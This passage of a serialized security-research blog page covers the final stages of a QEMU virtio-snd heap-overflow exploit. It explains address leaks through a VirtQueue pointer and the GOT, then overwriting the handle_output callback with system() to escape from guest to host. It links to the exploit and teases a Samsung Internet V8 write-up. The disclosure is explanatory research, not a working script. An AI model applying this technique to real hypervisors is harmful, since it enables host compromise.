2072,"children":132073},{"style":188},[132074],{"type":29,"value":125250},{"type":24,"tag":158,"props":132076,"children":132077},{"style":165},[132078],{"type":29,"value":56600},{"type":24,"tag":158,"props":132080,"children":132081},{"style":188},[132082],{"type":29,"value":132083},"(VirtQueueElement));\n",{"type":24,"tag":158,"props":132085,"children":132086},{"class":160,"line":1527},[132087,132091,132095,132099],{"type":24,"tag":158,"props":132088,"children":132089},{"style":1914},[132090],{"type":29,"value":4936},{"type":24,"tag":158,"props":132092,"children":132093},{"style":188},[132094],{"type":29,"value":2262},{"type":24,"tag":158,"props":132096,"children":132097},{"style":222},[132098],{"type":29,"value":21865},{"type":24,"tag":158,"props":132100,"children":132101},{"style":188},[132102],{"type":29,"value":125284},{"type":24,"tag":158,"props":132104,"children":132105},{"class":160,"line":1545},[132106,132110],{"type":24,"tag":158,"props":132107,"children":132108},{"style":1914},[132109],{"type":29,"value":4961},{"type":24,"tag":158,"props":132111,"children":132112},{"style":188},[132113],{"type":29,"value":473},{"type":24,"tag":158,"props":132115,"children":132116},{"class":160,"line":1618},[132117],{"type":24,"tag":158,"props":132118,"children":132119},{"style":188},[132120],{"type":29,"value":5010},{"type":24,"tag":158,"props":132122,"children":132123},{"class":160,"line":1635},[132124],{"type":24,"tag":158,"props":132125,"children":132126},{"style":2588},[132127],{"type":29,"value":132128}," /* get the message hdr object */\n",{"type":24,"tag":158,"props":132130,"children":132131},{"class":160,"line":1644},[132132,132137,132141,132146,132150,132154,132158,132162],{"type":24,"tag":158,"props":132133,"children":132134},{"style":188},[132135],{"type":29,"value":132136}," msg_sz ",{"type":24,"tag":158,"props":132138,"children":132139},{"style":222},[132140],{"type":29,"value":1285},{"type":24,"tag":158,"props":132142,"children":132143},{"style":496},[132144],{"type":29,"value":132145}," iov_to_buf",{"type":24,"tag":158,"props":132147,"children":132148},{"style":188},[132149],{"type":29,"value":504},{"type":24,"tag":158,"props":132151,"children":132152},{"style":177},[132153],{"type":29,"value":53336},{"type":24,"tag":158,"props":132155,"children":132156},{"style":188},[132157],{"type":29,"value":14991},{"type":24,"tag":158,"props":132159,"children":132160},{"style":177},[132161],{"type":29,"value":125688},{"type":24,"tag":158,"props":132163,"children":132164},{"style":188},[132165],{"type":29,"value":235},{"type":24,"tag":158,"props":132167,"children":132168},{"class":160,"line":1652},[132169,132174,132178,132183],{"type":24,"tag":158,"props":132170,"children":132171},{"style":177},[132172],{"type":29,"value":132173}," elem",{"type":24,"tag":158,"props":132175,"children":132176},{"style":188},[132177],{"type":29,"value":14991},{"type":24,"tag":158,"props":132179,"children":132180},{"style":177},[132181],{"type":29,"value":132182},"out_num",{"type":24,"tag":158,"props":132184,"children":132185},{"style":188},[132186],{"type":29,"value":235},{"type":24,"tag":158,"props":132188,"children":132189},{"class":160,"line":1704},[132190,132195],{"type":24,"tag":158,"props":132191,"children":132192},{"style":465},[132193],{"type":29,"value":132194}," 0",{"type":24,"tag":158,"props":132196,"children":132197},{"style":188},[132198],{"type":29,"value":235},{"type":24,"tag":158,"props":132200,"children":132201},{"class":160,"line":1713},[132202,132207],{"type":24,"tag":158,"props":132203,"children":132204},{"style":222},[132205],{"type":29,"value":132206}," &",{"type":24,"tag":158,"props":132208,"children":132209},{"style":188},[132210],{"type":29,"value":132211},"hdr,\n",{"type":24,"tag":158,"props":132213,"children":132214},{"class":160,"line":1731},[132215,132220],{"type":24,"tag":158,"props":132216,"children":132217},{"style":165},[132218],{"type":29,"value":132219}," sizeof",{"type":24,"tag":158,"props":132221,"children":132222},{"style":188},[132223],{"type":29,"value":132224},"(virtio_snd_pcm_xfer));\n",{"type":24,"tag":158,"props":132226,"children":132227},{"class":160,"line":5485},[132228,132232,132237,132241,132246],{"type":24,"tag":158,"props":132229,"children":132230},{"style":1914},[132231],{"type":29,"value":4936},{"type":24,"tag":158,"props":132233,"children":132234},{"style":188},[132235],{"type":29,"value":132236}," (msg_sz ",{"type":24,"tag":158,"props":132238,"children":132239},{"style":222},[132240],{"type":29,"value":16924},{"type":24,"tag":158,"props":132242,"children":132243},{"style":165},[132244],{"type":29,"value":132245}," sizeof",{"type":24,"tag":158,"props":132247,"children":132248},{"style":188},[132249],{"type":29,"value":132250},"(virtio_snd_pcm_xfer)) {\n",{"type":24,"tag":158,"props":132252,"children":132253},{"class":160,"line":5493},[132254,132258],{"type":24,"tag":158,"props":132255,"children":132256},{"style":1914},[132257],{"type":29,"value":61823},{"type":24,"tag":158,"props":132259,"children":132260},{"style":188},[132261],{"type":29,"value":132262}," rx_err;\n",{"type":24,"tag":158,"props":132264,"children":132265},{"class":160,"line":5553},[132266],{"type":24,"tag":158,"props":132267,"children":132268},{"style":188},[132269],{"type":29,"value":5010},{"type":24,"tag":158,"props":132271,"children":132272},{"class":160,"line":10636},[132273,132278,132282,132286,132290,132295,132299,132304],{"type":24,"tag":158,"props":132274,"children":132275},{"style":188},[132276],{"type":29,"value":132277}," stream_id ",{"type":24,"tag":158,"props":132279,"children":132280},{"style":222},[132281],{"type":29,"value":1285},{"type":24,"tag":158,"props":132283,"children":132284},{"style":496},[132285],{"type":29,"value":127150},{"type":24,"tag":158,"props":132287,"children":132288},{"style":188},[132289],{"type":29,"value":504},{"type":24,"tag":158,"props":132291,"children":132292},{"style":177},[132293],{"type":29,"value":132294},"hdr",{"type":24,"tag":158,"props":132296,"children":132297},{"style":188},[132298],{"type":29,"value":347},{"type":24,"tag":158,"props":132300,"children":132301},{"style":177},[132302],{"type":29,"value":132303},"stream_id",{"type":24,"tag":158,"props":132305,"children":132306},{"style":188},[132307],{"type":29,"value":1071},{"type":24,"tag":158,"props":132309,"children":132310},{"class":160,"line":10652},[132311],{"type":24,"tag":158,"props":132312,"children":132313},{"emptyLinePlaceholder":16},[132314],{"type":29,"value":481},{"type":24,"tag":158,"props":132316,"children":132317},{"class":160,"line":10696},[132318],{"type":24,"tag":158,"props":132319,"children":132320},{"style":188},[132321],{"type":29,"value":125317},{"type":24,"tag":158,"props":132323,"children":132324},{"class":160,"line":10801},[132325],{"type":24,"tag":158,"props":132326,"children":132327},{"emptyLinePlaceholder":16},[132328],{"type":29,"value":481},{"type":24,"tag":158,"props":132330,"children":132331},{"class":160,"line":24754},[132332,132336,132340,132344,132348,132352,132356],{"type":24,"tag":158,"props":132333,"children":132334},{"style":496},[132335],{"type":29,"value":125332},{"type":24,"tag":158,"props":132337,"children":132338},{"style":188},[132339],{"type":29,"value":504},{"type":24,"tag":158,"props":132341,"children":132342},{"style":222},[132343],{"type":29,"value":2212},{"type":24,"tag":158,"props":132345,"children":132346},{"style":177},[132347],{"type":29,"value":37525},{"type":24,"tag":158,"props":132349,"children":132350},{"style":188},[132351],{"type":29,"value":14991},{"type":24,"tag":158,"props":132353,"children":132354},{"style":177},[132355],{"type":29,"value":125353},{"type":24,"tag":158,"props":132357,"children":132358},{"style":188},[132359],{"type":29,"value":16038},{"type":24,"tag":158,"props":132361,"children":132362},{"class":160,"line":24789},[132363,132367,132371,132375,132379,132383,132387,132391,132395,132399,132403,132407,132411],{"type":24,"tag":158,"props":132364,"children":132365},{"style":188},[132366],{"type":29,"value":125365},{"type":24,"tag":158,"props":132368,"children":132369},{"style":222},[132370],{"type":29,"value":1285},{"type":24,"tag":158,"props":132372,"children":132373},{"style":496},[132374],{"type":29,"value":125374},{"type":24,"tag":158,"props":132376,"children":132377},{"style":188},[132378],{"type":29,"value":504},{"type":24,"tag":158,"props":132380,"children":132381},{"style":177},[132382],{"type":29,"value":53336},{"type":24,"tag":158,"props":132384,"children":132385},{"style":188},[132386],{"type":29,"value":14991},{"type":24,"tag":158,"props":132388,"children":132389},{"style":177},[132390],{"type":29,"value":125391},{"type":24,"tag":158,"props":132392,"children":132393},{"style":188},[132394],{"type":29,"value":191},{"type":24,"tag":158,"props":132396,"children":132397},{"style":177},[132398],{"type":29,"value":53336},{"type":24,"tag":158,"props":132400,"children":132401},{"style":188},[132402],{"type":29,"value":14991},{"type":24,"tag":158,"props":132404,"children":132405},{"style":177},[132406],{"type":29,"value":125408},{"type":24,"tag":158,"props":132408,"children":132409},{"style":188},[132410],{"type":29,"value":723},{"type":24,"tag":158,"props":132412,"children":132413},{"style":222},[132414],{"type":29,"value":52133},{"type":24,"tag":158,"props":132416,"children":132417},{"class":160,"line":24797},[132418,132422],{"type":24,"tag":158,"props":132419,"children":132420},{"style":165},[132421],{"type":29,"value":125424},{"type":24,"tag":158,"props":132423,"children":132424},{"style":188},[132425],{"type":29,"value":132426},"(virtio_snd_pcm_status);\n",{"type":24,"tag":158,"props":132428,"children":132429},{"class":160,"line":24805},[132430,132434,132438,132442,132446,132450,132454,132458,132463],{"type":24,"tag":158,"props":132431,"children":132432},{"style":188},[132433],{"type":29,"value":125442},{"type":24,"tag":158,"props":132435,"children":132436},{"style":222},[132437],{"type":29,"value":1285},{"type":24,"tag":158,"props":132439,"children":132440},{"style":496},[132441],{"type":29,"value":125451},{"type":24,"tag":158,"props":132443,"children":132444},{"style":188},[132445],{"type":29,"value":504},{"type":24,"tag":158,"props":132447,"children":132448},{"style":165},[132449],{"type":29,"value":56600},{"type":24,"tag":158,"props":132451,"children":132452},{"style":188},[132453],{"type":29,"value":125464},{"type":24,"tag":158,"props":132455,"children":132456},{"style":222},[132457],{"type":29,"value":728},{"type":24,"tag":158,"props":132459,"children":132460},{"style":188},[132461],{"type":29,"value":132462}," size);",{"type":24,"tag":158,"props":132464,"children":132465},{"style":2588},[132466],{"type":29,"value":132467}," // [1]\n",{"type":24,"tag":158,"props":132469,"children":132470},{"class":160,"line":24814},[132471,132475,132479,132483,132487],{"type":24,"tag":158,"props":132472,"children":132473},{"style":177},[132474],{"type":29,"value":125481},{"type":24,"tag":158,"props":132476,"children":132477},{"style":188},[132478],{"type":29,"value":14991},{"type":24,"tag":158,"props":132480,"children":132481},{"style":177},[132482],{"type":29,"value":53336},{"type":24,"tag":158,"props":132484,"children":132485},{"style":222},[132486],{"type":29,"value":462},{"type":24,"tag":158,"props":132488,"children":132489},{"style":188},[132490],{"type":29,"value":125498},{"type":24,"tag":158,"props":132492,"children":132493},{"class":160,"line":24856},[132494,132498,132502,132506,132510,132515],{"type":24,"tag":158,"props":132495,"children":132496},{"style":177},[132497],{"type":29,"value":125481},{"type":24,"tag":158,"props":132499,"children":132500},{"style":188},[132501],{"type":29,"value":14991},{"type":24,"tag":158,"props":132503,"children":132504},{"style":177},[132505],{"type":29,"value":125150},{"type":24,"tag":158,"props":132507,"children":132508},{"style":222},[132509],{"type":29,"value":462},{"type":24,"tag":158,"props":132511,"children":132512},{"style":188},[132513],{"type":29,"value":132514}," vq;",{"type":24,"tag":158,"props":132516,"children":132517},{"style":2588},[132518],{"type":29,"value":132519}," // [2]\n",{"type":24,"tag":158,"props":132521,"children":132522},{"class":160,"line":24889},[132523,132527,132531,132535,132539,132543],{"type":24,"tag":158,"props":132524,"children":132525},{"style":177},[132526],{"type":29,"value":125481},{"type":24,"tag":158,"props":132528,"children":132529},{"style":188},[132530],{"type":29,"value":14991},{"type":24,"tag":158,"props":132532,"children":132533},{"style":177},[132534],{"type":29,"value":125538},{"type":24,"tag":158,"props":132536,"children":132537},{"style":222},[132538],{"type":29,"value":462},{"type":24,"tag":158,"props":132540,"children":132541},{"style":465},[132542],{"type":29,"value":2025},{"type":24,"tag":158,"props":132544,"children":132545},{"style":188},[132546],{"type":29,"value":473},{"type":24,"tag":158,"props":132548,"children":132549},{"class":160,"line":24897},[132550,132554,132558,132562,132566,132570],{"type":24,"tag":158,"props":132551,"children":132552},{"style":177},[132553],{"type":29,"value":125481},{"type":24,"tag":158,"props":132555,"children":132556},{"style":188},[132557],{"type":29,"value":14991},{"type":24,"tag":158,"props":132559,"children":132560},{"style":177},[132561],{"type":29,"value":15135},{"type":24,"tag":158,"props":132563,"children":132564},{"style":222},[132565],{"type":29,"value":462},{"type":24,"tag":158,"props":132567,"children":132568},{"style":465},[132569],{"type":29,"value":2025},{"type":24,"tag":158,"props":132571,"children":132572},{"style":188},[132573],{"type":29,"value":473},{"type":24,"tag":158,"props":132575,"children":132576},{"class":160,"line":24905},[132577,132581,132585,132589,132593,132597,132601],{"type":24,"tag":158,"props":132578,"children":132579},{"style":496},[132580],{"type":29,"value":125585},{"type":24,"tag":158,"props":132582,"children":132583},{"style":188},[132584],{"type":29,"value":504},{"type":24,"tag":158,"props":132586,"children":132587},{"style":222},[132588],{"type":29,"value":2212},{"type":24,"tag":158,"props":132590,"children":132591},{"style":177},[132592],{"type":29,"value":37525},{"type":24,"tag":158,"props":132594,"children":132595},{"style":188},[132596],{"type":29,"value":14991},{"type":24,"tag":158,"props":132598,"children":132599},{"style":177},[132600],{"type":29,"value":125606},{"type":24,"tag":158,"props":132602,"children":132603},{"style":188},[132604],{"type":29,"value":132605},", buffer, entry);\n",{"type":24,"tag":158,"props":132607,"children":132608},{"class":160,"line":24914},[132609],{"type":24,"tag":158,"props":132610,"children":132611},{"style":188},[132612],{"type":29,"value":5010},{"type":24,"tag":25,"props":132614,"children":132615},{},[132616,132617,132622,132624,132629,132631,132636,132638,132644],{"type":29,"value":125660},{"type":24,"tag":154,"props":132618,"children":132620},{"className":132619},[],[132621],{"type":29,"value":125666},{"type":29,"value":132623},", QEMU allocates a ",{"type":24,"tag":154,"props":132625,"children":132627},{"className":132626},[],[132628],{"type":29,"value":125803},{"type":29,"value":132630}," whose size depends on the guest-provided iovec, and at ",{"type":24,"tag":154,"props":132632,"children":132634},{"className":132633},[],[132635],{"type":29,"value":125701},{"type":29,"value":132637}," it stores the ",{"type":24,"tag":154,"props":132639,"children":132641},{"className":132640},[],[132642],{"type":29,"value":132643},"VirtQueue *vq",{"type":29,"value":132645}," pointer into the buffer.",{"type":24,"tag":25,"props":132647,"children":132648},{},[132649,132650,132656],{"type":29,"value":65491},{"type":24,"tag":154,"props":132651,"children":132653},{"className":132652},[],[132654],{"type":29,"value":132655},"VirtQueue",{"type":29,"value":132657}," structure contains some useful fields:",{"type":24,"tag":147,"props":132659,"children":132661},{"code":132660,"language":2907,"meta":7,"className":17751,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[132662],{"type":24,"tag":154,"props":132663,"children":132664},{"__ignoreMap":7},[132665,132677,132684,132691,132698,132706,132723,132730,132737],{"type":24,"tag":158,"props":132666,"children":132667},{"class":160,"line":161},[132668,132672],{"type":24,"tag":158,"props":132669,"children":132670},{"style":165},[132671],{"type":29,"value":168},{"type":24,"tag":158,"props":132673,"children":132674},{"style":188},[132675],{"type":29,"value":132676}," VirtQueue\n",{"type":24,"tag":158,"props":132678,"children":132679},{"class":160,"line":213},[132680],{"type":24,"tag":158,"props":132681,"children":132682},{"style":188},[132683],{"type":29,"value":1710},{"type":24,"tag":158,"props":132685,"children":132686},{"class":160,"line":238},[132687],{"type":24,"tag":158,"props":132688,"children":132689},{"style":188},[132690],{"type":29,"value":106079},{"type":24,"tag":158,"props":132692,"children":132693},{"class":160,"line":259},[132694],{"type":24,"tag":158,"props":132695,"children":132696},{"emptyLinePlaceholder":16},[132697],{"type":29,"value":481},{"type":24,"tag":158,"props":132699,"children":132700},{"class":160,"line":280},[132701],{"type":24,"tag":158,"props":132702,"children":132703},{"style":188},[132704],{"type":29,"value":132705}," VirtIOHandleOutput handle_output;\n",{"type":24,"tag":158,"props":132707,"children":132708},{"class":160,"line":301},[132709,132714,132718],{"type":24,"tag":158,"props":132710,"children":132711},{"style":188},[132712],{"type":29,"value":132713}," VirtIODevice ",{"type":24,"tag":158,"props":132715,"children":132716},{"style":222},[132717],{"type":29,"value":577},{"type":24,"tag":158,"props":132719,"children":132720},{"style":188},[132721],{"type":29,"value":132722},"vdev;\n",{"type":24,"tag":158,"props":132724,"children":132725},{"class":160,"line":626},[132726],{"type":24,"tag":158,"props":132727,"children":132728},{"emptyLinePlaceholder":16},[132729],{"type":29,"value":481},{"type":24,"tag":158,"props":132731,"children":132732},{"class":160,"line":668},[132733],{"type":24,"tag":158,"props":132734,"children":132735},{"style":188},[132736],{"type":29,"value":106079},{"type":24,"tag":158,"props":132738,"children":132739},{"class":160,"line":676},[132740],{"type":24,"tag":158,"props":132741,"children":132742},{"style":188},[132743],{"type":29,"value":17814},{"type":24,"tag":25,"props":132745,"children":132746},{},[132747,132748,132754,132756,132762],{"type":29,"value":17850},{"type":24,"tag":154,"props":132749,"children":132751},{"className":132750},[],[132752],{"type":29,"value":132753},".handle_output",{"type":29,"value":132755}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":24,"tag":154,"props":132757,"children":132759},{"className":132758},[],[132760],{"type":29,"value":132761},".vdev",{"type":29,"value":132763}," is the pointer passed to it as the first argument:",{"type":24,"tag":147,"props":132765,"children":132767},{"code":132766,"language":2907,"meta":7,"className":17751,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[132768],{"type":24,"tag":154,"props":132769,"children":132770},{"__ignoreMap":7},[132771,132804,132811,132866,132903,132910,132917,132924,132945,132952,132959,132966],{"type":24,"tag":158,"props":132772,"children":132773},{"class":160,"line":161},[132774,132778,132782,132787,132792,132796,132800],{"type":24,"tag":158,"props":132775,"children":132776},{"style":165},[132777],{"type":29,"value":52316},{"type":24,"tag":158,"props":132779,"children":132780},{"style":165},[132781],{"type":29,"value":52321},{"type":24,"tag":158,"props":132783,"children":132784},{"style":496},[132785],{"type":29,"value":132786}," virtio_queue_notify_vq",{"type":24,"tag":158,"props":132788,"children":132789},{"style":188},[132790],{"type":29,"value":132791},"(VirtQueue ",{"type":24,"tag":158,"props":132793,"children":132794},{"style":222},[132795],{"type":29,"value":577},{"type":24,"tag":158,"props":132797,"children":132798},{"style":177},[132799],{"type":29,"value":125150},{"type":24,"tag":158,"props":132801,"children":132802},{"style":188},[132803],{"type":29,"value":2125},{"type":24,"tag":158,"props":132805,"children":132806},{"class":160,"line":213},[132807],{"type":24,"tag":158,"props":132808,"children":132809},{"style":188},[132810],{"type":29,"value":1710},{"type":24,"tag":158,"props":132812,"children":132813},{"class":160,"line":238},[132814,132818,132822,132826,132830,132835,132839,132844,132848,132853,132857,132862],{"type":24,"tag":158,"props":132815,"children":132816},{"style":1914},[132817],{"type":29,"value":3160},{"type":24,"tag":158,"props":132819,"children":132820},{"style":188},[132821],{"type":29,"value":2262},{"type":24,"tag":158,"props":132823,"children":132824},{"style":177},[132825],{"type":29,"value":125150},{"type":24,"tag":158,"props":132827,"children":132828},{"style":188},[132829],{"type":29,"value":14991},{"type":24,"tag":158,"props":132831,"children":132832},{"style":177},[132833],{"type":29,"value":132834},"vring",{"type":24,"tag":158,"props":132836,"children":132837},{"style":188},[132838],{"type":29,"value":347},{"type":24,"tag":158,"props":132840,"children":132841},{"style":177},[132842],{"type":29,"value":132843},"desc",{"type":24,"tag":158,"props":132845,"children":132846},{"style":222},[132847],{"type":29,"value":15419},{"type":24,"tag":158,"props":132849,"children":132850},{"style":177},[132851],{"type":29,"value":132852}," vq",{"type":24,"tag":158,"props":132854,"children":132855},{"style":188},[132856],{"type":29,"value":14991},{"type":24,"tag":158,"props":132858,"children":132859},{"style":177},[132860],{"type":29,"value":132861},"handle_output",{"type":24,"tag":158,"props":132863,"children":132864},{"style":188},[132865],{"type":29,"value":16038},{"type":24,"tag":158,"props":132867,"children":132868},{"class":160,"line":259},[132869,132874,132878,132883,132887,132891,132895,132899],{"type":24,"tag":158,"props":132870,"children":132871},{"style":188},[132872],{"type":29,"value":132873}," VirtIODevice ",{"type":24,"tag":158,"props":132875,"children":132876},{"style":222},[132877],{"type":29,"value":577},{"type":24,"tag":158,"props":132879,"children":132880},{"style":188},[132881],{"type":29,"value":132882},"vdev ",{"type":24,"tag":158,"props":132884,"children":132885},{"style":222},[132886],{"type":29,"value":1285},{"type":24,"tag":158,"props":132888,"children":132889},{"style":177},[132890],{"type":29,"value":132852},{"type":24,"tag":158,"props":132892,"children":132893},{"style":188},[132894],{"type":29,"value":14991},{"type":24,"tag":158,"props":132896,"children":132897},{"style":177},[132898],{"type":29,"value":125136},{"type":24,"tag":158,"props":132900,"children":132901},{"style":188},[132902],{"type":29,"value":473},{"type":24,"tag":158,"props":132904,"children":132905},{"class":160,"line":280},[132906],{"type":24,"tag":158,"props":132907,"children":132908},{"emptyLinePlaceholder":16},[132909],{"type":29,"value":481},{"type":24,"tag":158,"props":132911,"children":132912},{"class":160,"line":301},[132913],{"type":24,"tag":158,"props":132914,"children":132915},{"style":188},[132916],{"type":29,"value":125317},{"type":24,"tag":158,"props":132918,"children":132919},{"class":160,"line":626},[132920],{"type":24,"tag":158,"props":132921,"children":132922},{"emptyLinePlaceholder":16},[132923],{"type":29,"value":481},{"type":24,"tag":158,"props":132925,"children":132926},{"class":160,"line":668},[132927,132932,132936,132940],{"type":24,"tag":158,"props":132928,"children":132929},{"style":177},[132930],{"type":29,"value":132931}," vq",{"type":24,"tag":158,"props":132933,"children":132934},{"style":188},[132935],{"type":29,"value":14991},{"type":24,"tag":158,"props":132937,"children":132938},{"style":496},[132939],{"type":29,"value":132861},{"type":24,"tag":158,"props":132941,"children":132942},{"style":188},[132943],{"type":29,"value":132944},"(vdev, vq);\n",{"type":24,"tag":158,"props":132946,"children":132947},{"class":160,"line":676},[132948],{"type":24,"tag":158,"props":132949,"children":132950},{"emptyLinePlaceholder":16},[132951],{"type":29,"value":481},{"type":24,"tag":158,"props":132953,"children":132954},{"class":160,"line":684},[132955],{"type":24,"tag":158,"props":132956,"children":132957},{"style":188},[132958],{"type":29,"value":125317},{"type":24,"tag":158,"props":132960,"children":132961},{"class":160,"line":700},[132962],{"type":24,"tag":158,"props":132963,"children":132964},{"style":188},[132965],{"type":29,"value":3967},{"type":24,"tag":158,"props":132967,"children":132968},{"class":160,"line":785},[132969],{"type":24,"tag":158,"props":132970,"children":132971},{"style":188},[132972],{"type":29,"value":307},{"type":24,"tag":25,"props":132974,"children":132975},{},[132976,132978,132983,132985,132990,132992,132998,133000,133005,133006,133011,133013,133018],{"type":29,"value":132977},"This means that if we free the known-address chunk and replace it with a ",{"type":24,"tag":154,"props":132979,"children":132981},{"className":132980},[],[132982],{"type":29,"value":125803},{"type":29,"value":132984}," - which is straightforward, since we control the buffer allocation size through the ",{"type":24,"tag":154,"props":132986,"children":132988},{"className":132987},[],[132989],{"type":29,"value":125391},{"type":29,"value":132991}," iovec - we can use the arbitrary read primitive to read its ",{"type":24,"tag":154,"props":132993,"children":132995},{"className":132994},[],[132996],{"type":29,"value":132997},".vq",{"type":29,"value":132999}," pointer, then follow that pointer to leak ",{"type":24,"tag":154,"props":133001,"children":133003},{"className":133002},[],[133004],{"type":29,"value":132753},{"type":29,"value":17289},{"type":24,"tag":154,"props":133007,"children":133009},{"className":133008},[],[133010],{"type":29,"value":132655},{"type":29,"value":133012}," structure. In our case, that field points to ",{"type":24,"tag":154,"props":133014,"children":133016},{"className":133015},[],[133017],{"type":29,"value":125043},{"type":29,"value":133019},", which gives us QEMU's base address.",{"type":24,"tag":25,"props":133021,"children":133022},{},[133023,133025,133031],{"type":29,"value":133024},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":24,"tag":154,"props":133026,"children":133028},{"className":133027},[],[133029],{"type":29,"value":133030},"system",{"type":29,"value":347},{"type":24,"tag":395,"props":133033,"children":133035},{"id":133034},"rip-control",[133036],{"type":29,"value":133037},"RIP Control",{"type":24,"tag":25,"props":133039,"children":133040},{},[133041,133043,133048,133050,133056],{"type":29,"value":133042},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":24,"tag":154,"props":133044,"children":133046},{"className":133045},[],[133047],{"type":29,"value":133030},{"type":29,"value":133049},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":24,"tag":154,"props":133051,"children":133053},{"className":133052},[],[133054],{"type":29,"value":133055},"VirtQueue.handle_output",{"type":29,"value":347},{"type":24,"tag":25,"props":133058,"children":133059},{},[133060,133062,133067,133069,133074,133076,133081],{"type":29,"value":133061},"We overwrite ",{"type":24,"tag":154,"props":133063,"children":133065},{"className":133064},[],[133066],{"type":29,"value":132753},{"type":29,"value":133068}," with the address of ",{"type":24,"tag":154,"props":133070,"children":133072},{"className":133071},[],[133073],{"type":29,"value":133030},{"type":29,"value":133075}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":24,"tag":154,"props":133077,"children":133079},{"className":133078},[],[133080],{"type":29,"value":132761},{"type":29,"value":133082}," with the address of that command string, so it is passed as the first argument.",{"type":24,"tag":25,"props":133084,"children":133085},{},[133086,133088,133094,133096,133102,133104,133110],{"type":29,"value":133087},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":24,"tag":154,"props":133089,"children":133091},{"className":133090},[],[133092],{"type":29,"value":133093},"virtio_queue_notify_vq",{"type":29,"value":133095},", which calls ",{"type":24,"tag":154,"props":133097,"children":133099},{"className":133098},[],[133100],{"type":29,"value":133101},"vq->handle_output(vq->vdev)",{"type":29,"value":133103}," - or, after our overwrites, ",{"type":24,"tag":154,"props":133105,"children":133107},{"className":133106},[],[133108],{"type":29,"value":133109},"system(command)",{"type":29,"value":347},{"type":24,"tag":25,"props":133112,"children":133113},{},[133114,133116,133122,133124],{"type":29,"value":133115},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":24,"tag":154,"props":133117,"children":133119},{"className":133118},[],[133120],{"type":29,"value":133121},"gnome-calculator",{"type":29,"value":133123}," on the host system:\n",{"type":24,"tag":32229,"props":133125,"children":133126},{},[],{"type":24,"tag":133128,"props":133129,"children":133138},"tweet-card",{"author-name":133130,"date":133131,"duration":133132,"handle":133133,"media-mime-type":133134,"media-src":133135,"media-type":133136,"tweet-url":133137},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[133139,133144,133149],{"type":24,"tag":25,"props":133140,"children":133141},{},[133142],{"type":29,"value":133143},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":24,"tag":25,"props":133145,"children":133146},{},[133147],{"type":29,"value":133148},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":24,"tag":25,"props":133150,"children":133151},{},[133152],{"type":29,"value":133153},"Writeup coming next week.",{"type":24,"tag":32229,"props":133155,"children":133156},{},[],{"type":24,"tag":25,"props":133158,"children":133159},{},[133160,133162,133168,133170,133176],{"type":29,"value":133161},"The final exploit, targeting QEMU commit ",{"type":24,"tag":154,"props":133163,"children":133165},{"className":133164},[],[133166],{"type":29,"value":133167},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":133169}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":24,"tag":101,"props":133171,"children":133174},{"href":133172,"rel":133173},"https://github.com/otter-sec/qemu-escape",[105],[133175],{"type":29,"value":48855},{"type":29,"value":347},{"type":24,"tag":25,"props":133178,"children":133179},{},[133180,133182,133189],{"type":29,"value":133181},"Special thanks to ",{"type":24,"tag":101,"props":133183,"children":133186},{"href":133184,"rel":133185},"https://www.willsroot.io/",[105],[133187],{"type":29,"value":133188},"William Liu",{"type":29,"value":133190}," for proofreading this post and helping us polish it before publication.",{"type":24,"tag":59,"props":133192,"children":133193},{"id":30191},[133194],{"type":29,"value":20189},{"type":24,"tag":25,"props":133196,"children":133197},{},[133198],{"type":29,"value":133199},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":24,"tag":25,"props":133201,"children":133202},{},[133203],{"type":29,"value":133204},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":24,"tag":4517,"props":133206,"children":133207},{},[133208],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":133210},[133211,133214,133217,133226],{"id":124939,"depth":213,"text":124952,"children":133212},[133213],{"id":124960,"depth":238,"text":124963},{"id":124984,"depth":213,"text":124987,"children":133215},[133216],{"id":124998,"depth":238,"text":124998},{"id":101386,"depth":213,"text":101389,"children":133218},[133219,133220,133221,133222,133223,133224,133225],{"id":127590,"depth":238,"text":127593},{"id":129117,"depth":238,"text":129120},{"id":129911,"depth":238,"text":129914},{"id":130316,"depth":238,"text":130319},{"id":130532,"depth":238,"text":130535},{"id":130738,"depth":238,"text":130741},{"id":133034,"depth":238,"text":133037},{"id":30191,"depth":213,"text":20189},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":133231,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":133232,"description":133233,"date":133234,"author":133235,"image":133238,"isFeatured":16,"onBlogPage":16,"tags":133240,"body":133243,"_type":4536,"_id":143151,"_source":4538,"_file":143152,"_stem":143153,"_extension":4541},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the 